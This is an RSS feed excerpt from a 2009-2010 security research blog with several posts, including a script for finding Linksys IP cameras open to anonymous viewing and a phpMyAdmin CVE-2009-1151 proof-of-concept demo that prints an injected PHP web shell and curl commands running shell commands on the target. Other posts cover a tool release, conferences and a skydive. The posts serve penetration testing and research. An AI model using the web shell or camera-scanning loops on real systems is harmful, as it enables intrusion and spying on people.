<pre><code>http-linksys-cam::tcp::^HTTP/.*\nServer: thttpd/.*Accept-Ranges: bytes.*WVC</code></pre>

<p>Please note that <em>the previous amap response signature was only tested against the WVC54GCA and WVC80N Linksys IP camera models.</em> So I'm not sure if it will work against other models. You've been warned!</p>

<p>Once recompiled, amap can be used to identify Linksys IP cameras from nmap's open ports results. </p>

<pre><code>$ amap -i nmap_http_ports.2010-02-22-102001.gnmap -R -S -o amap_results.`date +%Y-%m-%d-%H%M%S`</code></pre>

<p>We finally parse the IP addresses and open ports for all discovered Linksys IP cameras:</p>

<pre><code>$ grep http-linksys-cam amap_results.2010-02-22-102253 | awk '{print $3}' | cut -d \/ -f1
x.x.167.245:1024
x.x.228.231:1025
x.x.228.231:80
x.x.64.22:80
x.x.206.70:1024
x.x.31.4:1024
x.x.164.28:1024
<em>[snip]</em></code></pre>

<p>At this point we have accomplished the task of creating a list of Linksys IP cameras without resorting to search engines or scanning random IP addresses. In order to discover more Linksys cameras, a more comprehensive wordlist would need to be used with dnsmap.</p>

<p>Of course, even further automation would be possible. For instance, an attacker may wish to programmatically identify which Linksys cameras from the previous list allowing video viewing to unauthenticated users:</p>

<pre><code>$ amapfile=amap_results.2010-02-22-102253;for i in `grep http-linksys-cam $amapfile | awk '{print $3}' | cut -d \/ -f1`;do url="http://$i/img/main.cgi?next_file=main.htm";if curl --connect-timeout 2 -s -I --url $url | grep ^"HTTP/1.1 501">/dev/null;then echo $url;fi;done;
x.x.206.70:1024/img/main.cgi?next_file=main.htm
x.x.105.221:1024/img/main.cgi?next_file=main.htm
x.x.105.221:80/img/main.cgi?next_file=main.htm
x.x.181.195:1024/img/main.cgi?next_file=main.htm
x.x.243.154:1024/img/main.cgi?next_file=main.htm
x.x.243.154:1025/img/main.cgi?next_file=main.htm
x.x.30.196:1025/img/main.cgi?next_file=main.htm
<em>[snip]</em></code></pre>

<p><em>In addition to automatically checking for anonymous video viewing on all cameras found, other tasks such as checking for default credentials (<code>admin</code>/<code>admin</code>) could also be scripted, although this will NOT be included in this post (or any other at GNUCITIZEN).</em></p><p>---<br/>recent posts from the gnucitizen network:</p><p><a href="http://blog.websecurify.com/2012/02/cold-coffe-code.html">Cold, Coffe, Code</a><br/><a href="http://blog.websecurify.com/2012/02/upcoming-websecurify-mobile.html">The Upcoming Websecurify Mobile</a><br/><a href="http://blog.websecurify.com/2012/01/websecurify-102-for-windows-and-mac-has.html">Websecurify 1.0.2 for Windows and Mac has Arrived</a><br/><a href="http://blog.websecurify.com/2011/12/collage-of-websecurifys-evolution.html">A Collage of Websecurify's Evolution</a><br/><a href="http://blog.websecurify.com/2011/12/websecurifys-debute-on-itunes-and-mac.html">Websecurify's Debute on ITunes and Mac App Stores</a><br/></p>]]></content:encoded>
			<wfw:commentRss>http://www.gnucitizen.org/blog/hacking-linksys-ip-cameras-pt-6/feed/</wfw:commentRss>
		<slash:comments>8</slash:comments>
		</item>
		<item>
		<title>Dnsmap v0.30 is now out!</title>
		<link>http://www.gnucitizen.org/blog/dnsmap-v030-is-now-out/</link>
		<comments>http://www.gnucitizen.org/blog/dnsmap-v030-is-now-out/#comments</comments>
		<pubDate>Sat, 20 Feb 2010 21:08:48 +0000</pubDate>
		<dc:creator>pagvac</dc:creator>
				<category><![CDATA[Blog]]></category>
		<category><![CDATA[bruteforce]]></category>
		<category><![CDATA[bruteforcing]]></category>
		<category><![CDATA[dnsmap]]></category>
		<category><![CDATA[enumeration]]></category>
		<category><![CDATA[subdmain]]></category>
		<category><![CDATA[tool]]></category>

		<guid isPermaLink="false">https://www.gnucitizen.org/?p=3381</guid>
		<description><![CDATA[After working on dnsmap for a few months whenever time allowed, I decided there were enough additional goodies to make version 0.30 a new public release. Let me just say that a lot of the bugs that have been fixed, and features that have been added to this version would not be possible without the feedback from great folks such as Borys Lacki (www.bothunters.pl), Philipp Winter (7c0.org) and meathive (kinqpinz.info). Thanks guys, your feedback was highly valuable to me. [...]]]></description>
			<content:encoded><![CDATA[<p>After working on <a href="http://dnsmap.googlecode.com/">dnsmap</a> for a few months whenever time allowed, I decided there were enough additional goodies to make <code>version 0.30</code> a new public release. Let me just say that a lot of the bugs that have been fixed, and features that have been added to this version would not be possible without the feedback from great folks such as Borys Lacki (<code>www.bothunters.pl</code>), Philipp Winter (<code>7c0.org</code>) and meathive (<code>kinqpinz.info</code>). Thanks guys, your feedback was highly valuable to me.</p>

<h3>New Features</h3>

<p>Anyways, the following are some of the new features included:</p>

<ul>
<li>IPv6 support</li>
<li>Makefile included</li>
<li>delay option (-d) added. This is useful in cases where dnsmap is killing your bandwidth</li>
<li>ignore IPs option (-i) added. This allows ignoring user-supplied IPs from the results. Useful for domains which cause dnsmap to produce false positives</li>
<li>changes made to make dnsmap compatible with OpenDNS</li>
<li>disclosure of internal IP addresses (RFC 1918) are reported</li>
<li>updated built-in wordlist</li>
<li>included a standalone three-letter acronym (TLA) subdomains wordlist</li>
<li>domains susceptible to <a href="http://snipurl.com/etbcv">same site scripting</a> are reported</li>
<li>completion time is now displayed to the user</li>
<li>mechanism to attempt to bruteforce wildcard-enabled domains</li>
<li>unique filename containing timestamp is now created when no specific output filename is supplied by user</li>
<li>various minor bugs fixed</li>
</ul>

<p>For those who have never used dnsmap, dnsmap is a command line tool originally released in 2006 which helps discover target subdomains and IP ranges during the initial stages of an infrastructure pentest. dnsmap is a passive(ish) discovery tool meant to be used before an actual active attack. It&#8217;s an alternative to other discovery techniques such as whois lookups, scanning large IP ranges, etc &#8230; Run dnsmap and you should be able spot netblocks of a target organization in a relatively short period of time.</p>

<blockquote>Dnsmap is open source and is known to work on Linux, FreeBSD and Windows using Cygwin, although it has mostly been tested on Linux.</blockquote>

<p><em>The major drawback is lack of multi-threading support, which I&#8217;m hoping will be included in the next public release. Life is busy these days, but I&#8217;ll try to spend some time on this project when time allows and inspiration is available!</em></p><p>---<br/>recent posts from the gnucitizen network:</p><p><a href="http://blog.websecurify.com/2012/02/cold-coffe-code.html">Cold, Coffe, Code</a><br/><a href="http://blog.websecurify.com/2012/02/upcoming-websecurify-mobile.html">The Upcoming Websecurify Mobile</a><br/><a href="http://blog.websecurify.com/2012/01/websecurify-102-for-windows-and-mac-has.html">Websecurify 1.0.2 for Windows and Mac has Arrived</a><br/><a href="http://blog.websecurify.com/2011/12/collage-of-websecurifys-evolution.html">A Collage of Websecurify's Evolution</a><br/><a href="http://blog.websecurify.com/2011/12/websecurifys-debute-on-itunes-and-mac.html">Websecurify's Debute on ITunes and Mac App Stores</a><br/></p>]]></content:encoded>
			<wfw:commentRss>http://www.gnucitizen.org/blog/dnsmap-v030-is-now-out/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Old-school Remote Command Exec Vulnerabilities on Avaya Intuity</title>
		<link>http://www.gnucitizen.org/blog/old-school-remote-command-execution-vulnerabilities-on-avaya-intuity-audix-lx/</link>
		<comments>http://www.gnucitizen.org/blog/old-school-remote-command-execution-vulnerabilities-on-avaya-intuity-audix-lx/#comments</comments>
		<pubDate>Thu, 17 Sep 2009 08:32:47 +0000</pubDate>
		<dc:creator>pagvac</dc:creator>
				<category><![CDATA[Blog]]></category>
		<category><![CDATA[avaya]]></category>
		<category><![CDATA[command execution]]></category>
		<category><![CDATA[intuity]]></category>
		<category><![CDATA[vulnerability]]></category>

		<guid isPermaLink="false">https://www.gnucitizen.org/?p=3316</guid>
		<description><![CDATA[Remember those old remote command exec vulns where you had a CGI script such as a perl program which would take input from the client to construct command strings that would then be passed to the shell environment? Well, there were tons of those affecting diagnostic scripts available on the web interface of Avaya Intuity Audix LX.



These vulnerabilities, although cool, are not critical since you need to be logged into the interface in order to exploit them. [...]]]></description>
			<content:encoded><![CDATA[<p>Remember those old remote command exec vulns where you had a CGI script such as a perl program which would take input from the client to construct command strings that would then be passed to the shell environment? Well, there were tons of those affecting diagnostic scripts available on the web interface of Avaya Intuity Audix LX.</p>

<blockquote>I successfully tested them on version 1.1, and according to Avaya this is the latest vulnerable version (version 2.0 is <em>NOT</em> affected apparently).</blockquote>

<p>These vulnerabilities, although cool, are not critical since you need to be logged into the interface in order to exploit them. That being said, it could be handy for bypassing restricting imposed by the web GUI and eventually escalate privileges.</p>

<p>Apart from that, there were also the usual client-side bugs such as XSS and CSRF which are usually expected of an appliance with a web interface.</p>

<p><em>Details can be found on the attached <a href="http://www.gnucitizen.org/static/blog/2009/09/Avaya_Intuity_Remote_Command_Execution.pdf">PDF document</a>.</em></p><p>---<br/>recent posts from the gnucitizen network:</p><p><a href="http://blog.websecurify.com/2012/02/cold-coffe-code.html">Cold, Coffe, Code</a><br/><a href="http://blog.websecurify.com/2012/02/upcoming-websecurify-mobile.html">The Upcoming Websecurify Mobile</a><br/><a href="http://blog.websecurify.com/2012/01/websecurify-102-for-windows-and-mac-has.html">Websecurify 1.0.2 for Windows and Mac has Arrived</a><br/><a href="http://blog.websecurify.com/2011/12/collage-of-websecurifys-evolution.html">A Collage of Websecurify's Evolution</a><br/><a href="http://blog.websecurify.com/2011/12/websecurifys-debute-on-itunes-and-mac.html">Websecurify's Debute on ITunes and Mac App Stores</a><br/></p>]]></content:encoded>
			<wfw:commentRss>http://www.gnucitizen.org/blog/old-school-remote-command-execution-vulnerabilities-on-avaya-intuity-audix-lx/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Skydive</title>
		<link>http://www.gnucitizen.org/blog/skydive/</link>
		<comments>http://www.gnucitizen.org/blog/skydive/#comments</comments>
		<pubDate>Mon, 07 Sep 2009 19:12:26 +0000</pubDate>
		<dc:creator>pdp</dc:creator>
				<category><![CDATA[Blog]]></category>
		<category><![CDATA[freefall]]></category>
		<category><![CDATA[fun]]></category>
		<category><![CDATA[skydive]]></category>

		<guid isPermaLink="false">https://www.gnucitizen.org/?p=3349</guid>
		<description><![CDATA[What is the best way to spend a quiet, weekend afternoon? &#8211; Jump off a perfectly working plane while 10,000 feet in the air.



On 5th of July 2009, the GNUCITIZEN team and friends came together to perform a skydiving gig. [...]]]></description>
			<content:encoded><![CDATA[<p><q>What is the best way to spend a quiet, weekend afternoon?</q> &#8211; Jump off a perfectly working plane while 10,000 feet in the air.</p>

<div class="screen"><object width="560" height="340"><param name="movie" value="http://www.youtube.com/v/dw2SnTcbTKA&#038;hl=en&#038;fs=1&#038;"></param><param name="allowFullScreen" value="true"></param><param name="allowscriptaccess" value="always"></param><embed src="http://www.youtube.com/v/dw2SnTcbTKA&#038;hl=en&#038;fs=1&#038;" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" width="560" height="340"></embed></object></div>

<p><em>On 5th of July 2009, the GNUCITIZEN team and friends came together to perform a <a href="http://www.gnucitizen.net/cmpgn/skydive">skydiving gig</a>. It has been two months since that day but memories are still as clear as yesterday.</em></p><p>---<br/>recent posts from the gnucitizen network:</p><p><a href="http://blog.websecurify.com/2012/02/cold-coffe-code.html">Cold, Coffe, Code</a><br/><a href="http://blog.websecurify.com/2012/02/upcoming-websecurify-mobile.html">The Upcoming Websecurify Mobile</a><br/><a href="http://blog.websecurify.com/2012/01/websecurify-102-for-windows-and-mac-has.html">Websecurify 1.0.2 for Windows and Mac has Arrived</a><br/><a href="http://blog.websecurify.com/2011/12/collage-of-websecurifys-evolution.html">A Collage of Websecurify's Evolution</a><br/><a href="http://blog.websecurify.com/2011/12/websecurifys-debute-on-itunes-and-mac.html">Websecurify's Debute on ITunes and Mac App Stores</a><br/></p>]]></content:encoded>
			<wfw:commentRss>http://www.gnucitizen.org/blog/skydive/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Free Web Application Security Testing Tool</title>
		<link>http://www.gnucitizen.org/blog/free-web-application-security-testing-tool/</link>
		<comments>http://www.gnucitizen.org/blog/free-web-application-security-testing-tool/#comments</comments>
		<pubDate>Fri, 07 Aug 2009 08:02:38 +0000</pubDate>
		<dc:creator>pdp</dc:creator>
				<category><![CDATA[Blog]]></category>
		<category><![CDATA[free]]></category>
		<category><![CDATA[security]]></category>
		<category><![CDATA[security scanner]]></category>
		<category><![CDATA[web application]]></category>
		<category><![CDATA[web application security scanner]]></category>

		<guid isPermaLink="false">https://www.gnucitizen.org/?p=3332</guid>
		<description><![CDATA[Automated Web Application Security Testing tools are in the core of modern penetration testing practices. You cannot rely 100% on the results they produce, without considering seriously their limitations. However, because these tools are so good at picking the low-hanging fruit by employing force and repetition, they still have a place in our arsenal of penetrating testing equipment.

These tools are not unfamiliar to modern day penetration testers. [...]]]></description>
			<content:encoded><![CDATA[<p>Automated Web Application Security Testing tools are in the core of modern penetration testing practices. You cannot rely 100% on the results they produce, without considering seriously their limitations. However, because these tools are so good at picking the low-hanging fruit by employing force and repetition, they still have a place in our arsenal of penetrating testing equipment.</p>

<p>These tools are not unfamiliar to modern day penetration testers. In fact, there are plenty of them to choose from, ranging from low-grade command line utilities to high-end frameworks. There are plenty of commercial tools as well some of which are a lot better, in terms of features and false-positives rate, when compared to open source alternatives. People often choose what they are more familiar with. I prefer to use tools that are right for the job without discriminating a particular operating system, platform, and style.</p>

<p>Without further ado, I would like to introduce to you yet another tool to compete in the market of automated web application security scanners (not only), released as part of our own <a href="http://www.websecurify.com">Websecurify</a> initiative. The tools is called Websecurify (big surprise) and it is written on the top of common web technologies, which provide significant benefit over other technologies used in open source and commercial alternative products.</p>

<p>Here are some of the key features of Websecurify:</p>

<ol>
<li>It is 100% open source, GPL, CC product, ready to benefit the open source movement</li>
<li>The engine employs technologies, such as Web Workers, from the latest HTML5 specs</li>
<li>Most of the code is written in JavaScript but many parts can be rewritten or extended with Python, Java and C</li>
<li>The core engine can be taken out from the binary bundles and used as part of self-defending web applications. I will talk about this soon.</li>
<li>The testing and reporting mechanisms are asynchronous. This means that the report is cooking while the test is performed. It also means that decisions are taken immediately, i.e. they are not scheduled.</li>
<li>The tool is cross-platformed thanks to xulrunner</li>
<li>Everything is written with extensibility in mind</li>
<li>It can be extended in pretty much the same way you can extend Firefox and Thunderbird</li>
</ol>

<p>There are many other features, which I am going to talk about soon.</p>

<p>At the moment the tool is only available as a MacOS DMG package and source code. The Windows and Linux versions will be released soon. In the future we are planning release all platform specific packages at the same time. Now is just an exception as we are mostly interested to get an early feedback. I am sure that that there will be a lot of bugs to fix and features to add/improve before we reach version 1.0.</p>

<p>Version 0.2 can be downloaded from <a href="http://www.websecurify.com">www.websecurify.com</a> or our <a href="http://code.google.com/p/websecurify/">source code repository</a>.</p>

<p><em>If you have any feedback or you would like to contribute to this project, please do let us know. We can use any help possible.</em></p><p>---<br/>recent posts from the gnucitizen network:</p><p><a href="http://blog.websecurify.com/2012/02/cold-coffe-code.html">Cold, Coffe, Code</a><br/><a href="http://blog.websecurify.com/2012/02/upcoming-websecurify-mobile.html">The Upcoming Websecurify Mobile</a><br/><a href="http://blog.websecurify.com/2012/01/websecurify-102-for-windows-and-mac-has.html">Websecurify 1.0.2 for Windows and Mac has Arrived</a><br/><a href="http://blog.websecurify.com/2011/12/collage-of-websecurifys-evolution.html">A Collage of Websecurify's Evolution</a><br/><a href="http://blog.websecurify.com/2011/12/websecurifys-debute-on-itunes-and-mac.html">Websecurify's Debute on ITunes and Mac App Stores</a><br/></p>]]></content:encoded>
			<wfw:commentRss>http://www.gnucitizen.org/blog/free-web-application-security-testing-tool/feed/</wfw:commentRss>
		<slash:comments>25</slash:comments>
		</item>
		<item>
		<title>Of Sec Cons and Magstripe Gift Cards</title>
		<link>http://www.gnucitizen.org/blog/of-sec-cons-and-magstripe-gift-cards/</link>
		<comments>http://www.gnucitizen.org/blog/of-sec-cons-and-magstripe-gift-cards/#comments</comments>
		<pubDate>Wed, 22 Jul 2009 09:53:54 +0000</pubDate>
		<dc:creator>pagvac</dc:creator>
				<category><![CDATA[Blog]]></category>
		<category><![CDATA[conferences]]></category>
		<category><![CDATA[CONFidence]]></category>
		<category><![CDATA[eusecwest]]></category>
		<category><![CDATA[gift card]]></category>
		<category><![CDATA[krakow]]></category>
		<category><![CDATA[london]]></category>
		<category><![CDATA[magstripe]]></category>
		<category><![CDATA[security]]></category>
		<category><![CDATA[secwest]]></category>

		<guid isPermaLink="false">https://www.gnucitizen.org/?p=3280</guid>
		<description><![CDATA[I&#8217;ve been meaning to talk about CONFidence and EUSecWest for quite a while, but May was such an intense month for me, that&#8217;s hardly left me with any time for other things. I eventually got caught up with other matters, which resulted in me publishing this post about 2 months late.

I&#8217;ve been researching, pentesting, and preparing two different presentations which I gave at CONFidence in Krakow, and EUSecWest in London. pdp has also been busy presenting at AusCERT2009. [...]]]></description>
			<content:encoded><![CDATA[<p>I&#8217;ve been meaning to talk about <a href="http://2009.confidence.org.pl/lang-pref/en/">CONFidence</a> and <a href="http://eusecwest.com/">EUSecWest</a> for quite a while, but May was such an intense month for me, that&#8217;s hardly left me with any time for other things. I eventually got caught up with other matters, which resulted in me publishing this post about 2 months late.</p>

<p>I&#8217;ve been researching, pentesting, and preparing two different presentations which I gave at <a href="http://2009.confidence.org.pl/prelegenci/adrian-pastor">CONFidence</a> in Krakow, and <a href="http://eusecwest.com/agenda.html">EUSecWest</a> in London. pdp has also been busy presenting at <a href="http://conference.auscert.org.au/conf2009/presenter.php?presenter_id=P_P">AusCERT2009</a>. In his Weaponry 2.0, pdp talked about current challenges experienced by pentesters, shared some of his experiments (i.e.: using QEMU) and introduced his <a href="http://www.gnucitizen.org/blog/jeriko-group-and-source-code-repository/">Jeriko</a> pentesting environment (NOT framework!).</p>

<p>My CONFidence presentation was on PCI DSS, and credit card theft from a pentester&#8217;s perspective. I attempted to explain why it&#8217;s possible for unsophisticated criminals to compromise credit card data. I also shared my frustrations with the PCI DSS standards, including some of its current weaknesses.</p>

<p>On the other hand, my EUSecWest presentation was on attacking magstripes gift cards, which apppear to be on the rise in the UK. The core of the research is about <em>cloning (activated) gift cards without physically swiping the magnetic stripes.</em> Trust me when I say that there is a lot of truth on <a href="http://twitter.com/dragosr/status/1949951235">Drago&#8217;s</a> tweet regarding this research! My EUSecWest slides have just been recently <a href="http://research.corsaire.com/presentations/">published</a>. More details will soon be available on a white paper which will be available on <a href="http://research.corsaire.com/">Corsaire Research</a> website.</p>

<h3>Thanks</h3>

<p>I&#8217;d like to thank the organizers of these two great conferences, namely Andrzej Targosz from CONFidence and <a href="http://twitter.com/dragosr">Dragos Ruiu</a> from EUSecWest (plus their respective crews of course).</p>

<p>Also, special thanks to <a href="http://www.corsaire.com/">Corsaire</a> who sponsored the time needed to prepare my presentation. I originally started my magstripe gift cards research about 3 years ago, but left it unattended for so long. If it wasn&#8217;t for Corsaire, this research wouldn&#8217;t have been resumed.</p>

<p><em>Finally, but not least, thanks to everyone who helped me prepare my presentations such as Jan Fry, Amir Azam, pavlovs_dog, Monsy Carlo, etc.</em></p><p>---<br/>recent posts from the gnucitizen network:</p><p><a href="http://blog.websecurify.com/2012/02/cold-coffe-code.html">Cold, Coffe, Code</a><br/><a href="http://blog.websecurify.com/2012/02/upcoming-websecurify-mobile.html">The Upcoming Websecurify Mobile</a><br/><a href="http://blog.websecurify.com/2012/01/websecurify-102-for-windows-and-mac-has.html">Websecurify 1.0.2 for Windows and Mac has Arrived</a><br/><a href="http://blog.websecurify.com/2011/12/collage-of-websecurifys-evolution.html">A Collage of Websecurify's Evolution</a><br/><a href="http://blog.websecurify.com/2011/12/websecurifys-debute-on-itunes-and-mac.html">Websecurify's Debute on ITunes and Mac App Stores</a><br/></p>]]></content:encoded>
			<wfw:commentRss>http://www.gnucitizen.org/blog/of-sec-cons-and-magstripe-gift-cards/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>CVE-2009-1151: phpMyAdmin Remote Code Execution Proof of Concept</title>
		<link>http://www.gnucitizen.org/blog/cve-2009-1151-phpmyadmin-remote-code-execution-proof-of-concept/</link>
		<comments>http://www.gnucitizen.org/blog/cve-2009-1151-phpmyadmin-remote-code-execution-proof-of-concept/#comments</comments>
		<pubDate>Tue, 09 Jun 2009 19:03:13 +0000</pubDate>
		<dc:creator>pagvac</dc:creator>
				<category><![CDATA[Blog]]></category>
		<category><![CDATA[CVE-2009-1151]]></category>
		<category><![CDATA[exploit]]></category>
		<category><![CDATA[phpMyAdmin]]></category>
		<category><![CDATA[remote]]></category>

		<guid isPermaLink="false">https://www.gnucitizen.org/?p=3254</guid>
		<description><![CDATA[I couldn&#8217;t find any public PoC/exploit for this phpMyAdmin vulnerability, despite it being a serious bug affecting a popular open-source project. I think this vulnerability is a nice reminder that it&#8217;s still possible to perform remote command execution these days without relying on SQL injection (i.e.: xp_cmdshell) or a memory corruption bug (i.e.: heap overflow). [...]]]></description>
			<content:encoded><![CDATA[<p>I couldn&#8217;t find any public PoC/exploit for this <a href="http://www.phpmyadmin.net/home_page/index.php">phpMyAdmin</a> vulnerability, despite it being a serious bug affecting a popular open-source project. I think this vulnerability is a nice reminder that it&#8217;s still possible to perform remote command execution these days without relying on SQL injection (i.e.: <code>xp_cmdshell</code>) or a memory corruption bug (i.e.: heap overflow).</p>

<blockquote>All the documentation you need is in the script comments. I recommend you to go through it, before you actually run the script.</blockquote>

<p>After reading the public <a href="http://www.phpmyadmin.net/home_page/security/PMASA-2009-3.php">advisory</a> and patched code, and playing around for a while, I managed to have a working PoC bash script. The script will allow you to remotely run shell commands and PHP code against vulnerable targets. Although in principle the vulnerability sounds quite simple, it actually took me a while to go from <a href="http://www.phpmyadmin.net/home_page/security/PMASA-2009-3.php">advisory</a> to working attack code.</p>

<p><em>I&#8217;m providing the script with the hope that it will help pentesters and security researchers. Please only test the script against your own systems, or systems you have been given permission to pentest! Don&#8217;t be evil, it&#8217;s not worth it.</em></p>

<h3>Demo</h3>

<pre><code>$ ./phpMyAdminRCE.sh
usage: ./phpMyAdminRCE.sh <phpMyAdmin_base_URL>
i.e.: ./phpMyAdminRCE.sh http://target.tld/phpMyAdmin/

$ ./phpMyAdminRCE.sh http://172.16.211.10/phpMyAdmin-3.0.1.1/
[+] checking if phpMyAdmin exists on URL provided ...
[+] phpMyAdmin cookie and form token received successfully. Good!
[+] attempting to inject phpinfo() ...
[+] success! phpinfo() injected successfully! output saved on /tmp/phpMyAdminRCE.sh.9217.phpinfo.flag.html
[+] you *should* now be able to remotely run shell commands and PHP code using your browser. i.e.:

http://172.16.211.10/phpMyAdmin-3.0.1.1//config/config.inc.php?c=ls+-l+/


http://172.16.211.10/phpMyAdmin-3.0.1.1//config/config.inc.php?p=phpinfo();

    please send any feedback/improvements for this script to unknown.pentester<AT_sign_goes_here>gmail.com

$ curl "http://172.16.211.10/phpMyAdmin-3.0.1.1//config/config.inc.php?c=ls+-l+/"
total 96
drwxr-xr-x   2 root   root  4096 Mar 11 10:12 bin
drwxr-xr-x   3 root   root  4096 May  6 10:01 boot
lrwxrwxrwx   1 root   root    11 Oct 12  2008 cdrom -> media/cdrom
drwxr-xr-x  15 root   root 14300 Jun  5 09:02 dev
drwxr-xr-x 147 root   root 12288 Jun  5 09:02 etc
drwxr-xr-x   3 root   root  4096 Oct 18  2008 home
drwxr-xr-x   2 root   root  4096 Jul  2  2008 initrd
<em>[partial output removed for brevity reasons]</em></code></pre>

<p>Contents of <code>/config/config.inc.php</code> after our evil code has been successfully injected (injected code shown in <strong>bold</strong>):</p>

<pre><code>&lt;?php
/*
 * Generated configuration file
 * Generated by: phpMyAdmin 3.0.1.1 setup script by Michal ÄŒihaÅ™ &lt;michal@cihar.com&gt;
 * Version: $Id: setup.php 11423 2008-07-24 17:26:05Z lem9 $
 * Date: Tue, 09 Jun 2009 14:13:34 GMT
 */

/* Servers configuration */
$i = 0;

/* Server  (config:root) [1] */
$i++;
$cfg[&apos;Servers&apos;][$i][&apos;host&apos;]=&apos;<strong>&apos;; if($_GET[&apos;c&apos;]){echo
&apos;&lt;pre&gt;&apos;;system($_GET[&apos;c&apos;]);echo &apos;&lt;/pre&gt;&apos;;}if($_GET[&apos;p&apos;]){echo
&apos;&lt;pre&gt;&apos;;eval($_GET[&apos;p&apos;]);echo &apos;&lt;/pre&gt;&apos;;};//</strong>&apos;] = &apos;localhost&apos;;
$cfg[&apos;Servers&apos;][$i][&apos;extension&apos;] = &apos;mysqli&apos;;
$cfg[&apos;Servers&apos;][$i][&apos;connect_type&apos;] = &apos;tcp&apos;;
$cfg[&apos;Servers&apos;][$i][&apos;compress&apos;] = false;
$cfg[&apos;Servers&apos;][$i][&apos;auth_type&apos;] = &apos;config&apos;;
$cfg[&apos;Servers&apos;][$i][&apos;user&apos;] = &apos;root&apos;;

/* End of servers configuration */

?&gt;</code></pre>

<h3>Thanks</h3>

<p><em>I&#8217;d like to thank <a href="http://labs.neohapsis.com/2009/04/06/about-cve-2009-1151/">Greg Ose</a> for discovering such a cool vuln and doing a nice writeup about the technical details! Also big thanks to <a href="http://www.milw0rm.com/">str0ke</a> for testing this PoC script and providing such useful feedback!</em></p><p>---<br/>recent posts from the gnucitizen network:</p><p><a href="http://blog.websecurify.com/2012/02/cold-coffe-code.html">Cold, Coffe, Code</a><br/><a href="http://blog.websecurify.com/2012/02/upcoming-websecurify-mobile.html">The Upcoming Websecurify Mobile</a><br/><a href="http://blog.websecurify.com/2012/01/websecurify-102-for-windows-and-mac-has.html">Websecurify 1.0.2 for Windows and Mac has Arrived</a><br/><a href="http://blog.websecurify.com/2011/12/collage-of-websecurifys-evolution.html">A Collage of Websecurify's Evolution</a><br/><a href="http://blog.websecurify.com/2011/12/websecurifys-debute-on-itunes-and-mac.html">Websecurify's Debute on ITunes and Mac App Stores</a><br/></p>]]></content:encoded>
			<wfw:commentRss>http://www.gnucitizen.org/blog/cve-2009-1151-phpmyadmin-remote-code-execution-proof-of-concept/feed/</wfw:commentRss>
		<slash:comments>23</slash:comments>
		</item>
		<item>
		<title>Hacking Linksys IP Cameras (pt 5)</title>
		<link>http://www.gnucitizen.org/blog/hacking-linksys-ip-cameras-pt-5/</link>
		<comments>http://www.gnucitizen.org/blog/hacking-linksys-ip-cameras-pt-5/#comments</comments>
		<pubDate>Fri, 05 Jun 2009 08:04:55 +0000</pubDate>
		<dc:creator>pagvac</dc:creator>
				<category><![CDATA[Blog]]></category>
		<category><![CDATA[cameras]]></category>
		<category><![CDATA[firmware]]></category>
		<category><![CDATA[linksys]]></category>
		<category><![CDATA[mount]]></category>

		<guid isPermaLink="false">https://www.gnucitizen.org/?p=3229</guid>
		<description><![CDATA[This article is a continuation of the following GNUCITIZEN articles: Hacking Linksys IP Cameras (pt 1), Hacking Linksys IP Cameras (pt 2), Hacking Linksys IP Cameras (pt 3), Hacking Linksys IP Cameras (pt 4).

Mounting the filesystem on your workstation

There are many ways to mount the camera&#8217;s filesystem using the firmware binary. In this post, we&#8217;ll explain one way to mount firmware version v1.00R24 which is the latest available for the WVC54GCA model. [...]]]></description>
			<content:encoded><![CDATA[<p><em>This article is a continuation of the following GNUCITIZEN articles: <a href="http://www.gnucitizen.org/blog/hacking-linksys-ip-cameras-pt-1/">Hacking Linksys IP Cameras (pt 1)</a>, <a href="http://www.gnucitizen.org/blog/hacking-linksys-ip-cameras-pt-2/">Hacking Linksys IP Cameras (pt 2)</a>, <a href="http://www.gnucitizen.org/blog/hacking-linksys-ip-cameras-pt-3/">Hacking Linksys IP Cameras (pt 3)</a>, <a href="http://www.gnucitizen.org/blog/hacking-linksys-ip-cameras-pt-4/">Hacking Linksys IP Cameras (pt 4)</a>.</em></p>

<h3>Mounting the filesystem on your workstation</h3>

<p>There are many ways to mount the camera&#8217;s filesystem using the firmware binary. In this post, we&#8217;ll explain one way to mount firmware version v1.00R24 which is the latest available for the WVC54GCA model.</p>

<p>If you were to only use the firmware binary, things could be a bit difficult, as you don&#8217;t know the format of the binary at all. However, having the GPL firmware helps a lot as we&#8217;ll see next. I emailed Linksys back on Apr 23, 2009 informing them that although the GPL firmware was available on their site for other Linksys products, they hadn&#8217;t uploaded the one for the WVC54GCA camera. A few days later, on Apr 27, 2009, Linksys kindly made it available and <a href="http://www.linksysbycisco.com/US/en/supportgplcode">has been available</a> ever since (the file to download is <code>wvc54gca_v1.00R24.tgz</code>).</p>

<p>Thanks to <a href="http://brooknet.no-ip.com/~lex/">Lex Landa</a>&#8216;s tips I was able to figure out the parameters required to mount the firmware binary, by analysing the data contained in the <code>./scripts/wvc54gc_usa_english/combine.cfg</code> file which is included with the <a href="http://downloads.linksysbycisco.com/downloads/wvc54gca_v1.00R24,5.tgz">GPL firmware</a>:</p>

<pre><code>size = 00400000
file = WVC54GCA.bin
f1_name = loader
f1_start = 00000000
f2_name=loader.ver
f2_start=00007FFE
f3_name=<strong>kernel</strong>
f3_start=<strong>00020000</strong>
f4_name=<strong>filesystem</strong>
f4_start=<strong>000E0000</strong>
f5_name=PID
f5_start=003FFFB2</code></pre>

<p>I simply focused on the <code>kernel</code> and <code>filesystem</code> parameters. The previous settings show that then kernel starts at <code>0x20000</code> (131072 bytes / 128 KB), and the filesystem starts at <code>0xE0000</code> (917504 bytes / 896 KB). In order to start <a href="http://en.wikipedia.org/wiki/Dd_(Unix)">dd</a> reading at <code>0xE0000</code>, we need to keep 7 chunks of 131072 bytes. i.e.:<code>7*131072=917504 bytes=0xE0000</code> (the position we want)</p>

<pre><code>$ dd if=DYFF08-402-1024.bin bs=<strong>131072</strong> of=fs.img skip=<strong>7</strong>
25+0 records in
25+0 records out
3276800 bytes (3.3 MB) copied, 0.019424 s, 169 MB/s</code></pre>

<p>We then verify that our image file is a valid <code>squashfs</code> filesystem:</p>

<pre><code>$ file fs.img 
fs.img:<strong> Squashfs</strong> filesystem, little endian, version 3.0, 2216311 bytes, 475 inodes, blocksize: 65536 bytes, created: Fri Nov  9 03:58:52 2007</code></pre>

